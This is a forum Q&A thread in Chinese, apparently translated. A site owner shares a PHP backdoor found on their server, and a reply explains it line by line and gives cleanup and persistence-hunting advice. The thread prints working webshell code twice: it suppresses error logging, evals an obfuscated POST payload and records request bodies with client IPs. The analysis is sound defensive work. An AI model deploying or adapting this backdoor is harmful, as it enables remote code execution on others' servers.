恶意脚本分析

信息安全 恶意软件 php 混淆
2021-08-14 13:19:34

有人能告诉我这个恶意代码能做什么吗?

我看到一开始它会关闭错误报告和日志记录。

然后是 get post 方法和文件的东西。但我不确定。

有人可以帮我解释这个脚本的作用吗?

@error_reporting(0);
@ini_set("display_errors", 0);
@ini_set("log_errors", 0);
@ini_set("error_log", 0);

if (isset($_GET['r'])) {
    print $_GET['r'];
} elseif (isset($_POST['e'])) {
    eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));
} elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') {
    $data = file_get_contents('php://input');

    if (strlen($data) > 0)
        print 'STATUS-IMPORT-OK';

    if (strlen($data) > 12) {
        $fp = @fopen('tmpfile', 'a');
        @flock($fp, LOCK_EX);

        @fputs($fp, $_SERVER['REMOTE_ADDR'] . "\t" . base64_encode($data) . "\r\n");

        @flock($fp, LOCK_UN);
        @fclose($fp);
    }
}
exit;

在服务器上的 php 设置中快速 php 模块或函数抑制的任何想法,所以这个恶意脚本不走运并中断,而我会尝试将它从网站上完全删除?

1个回答

讨厌的一点代码

这可能是一个僵尸网络设置或脚本小子的后门需要查看它们作为 vars 和 URL 传递的内容,以告诉您它们在用什么打击您,但这是一个后门测试脚本,它尝试了几个已知的漏洞来将信息传递到您的服务器。它们通常通过 MySQL 注入攻击注入并在打印时执行,或者在客户端提供的变量(包括 Cookie)的某些不安全(未清理)输出上执行。

在不允许更改的情况下禁用错误输出ini_set禁用日志记录:error_reporting

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0);

检查$_GET通过地址栏传递的“r”变量(可能检查.htaccess重定向)。

if (isset($_GET['r'])) { print $_GET['r']; } 

检查他们自己的post变量是否被传递并可能执行他们准备的任何有效负载。

elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } 

如果第一种方法失败,检查是否允许远程打开 URL

elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input');

验证他们的进口

if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; 

尝试写入文件

if (strlen($data) > 12) { $fp=@fopen('tmpfile','a');

使用排他锁锁定文件以进行写入

@flock($fp, LOCK_EX); 

打印到带有错误显示的文件(可能是其他服务器的另一个有效负载)

@fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); 

释放锁

@flock($fp, LOCK_UN);

关闭现在在您的服务器上的文件

@fclose($fp); } }

关闭脚本

exit;

您可以对此进行分析以查找他们检查的内容,并在您可能因此受到影响时实施它们。flock()位在一些较新的代码中。

作为一个很好的规则,编程开发人员永远不应该相信客户端提供的输入。

更新

尝试在您的代码中寻找不是您创建的 base64 编码字符串。你可以grep为之类的东西eval(如果您允许他们在您的盒子上花费时间,它也可能在您的数据库中。服务器上的某个地方可能有一个有效负载引擎(​​您会比这里的任何人更熟悉服务器上的现有代码)。我见过这些编写 FTP 后门、带有新数据库的自定义数据库后门和 rootkit。因此,如果您有物理访问权限,请根据您与谁打交道,将其从网络中拔出,直到您可以清理它为止。

否则,阻止除您自己的 IP 地址之外的所有到服务器的流量。

您必须通过他们脚本的每一步来查看允许的内容。他们可能在第一次利用时就停止了。但这并不意味着其他人不存在。

注意:从备份恢复并不能修复漏洞。如果它们在您的盒子上,它将持续约 2 秒。

我遇到的还有其他一些需要寻找的东西:

  1. crons(检查脚本并在它被删除时重写它)
  2. 可执行文件top(你不希望在那里)
  3. 新用户
  4. 新的子目录
  5. 新的 httpd.conf 目录(一个新网站)
  6. 新数据库
  7. 新的数据库表
  8. 新数据库用户
  9. 新组
  10. 防火墙中的新 IP 白名单规则

这些通常需要从一开始就以更好的安全性进行擦除和重建,因为通常当有人注意到漏洞利用已经过去了几个小时并且攻击者已经在现在被感染的盒子上执行了更多的后门和有效负载时。它会告诉你所有服务器的弱点在哪里。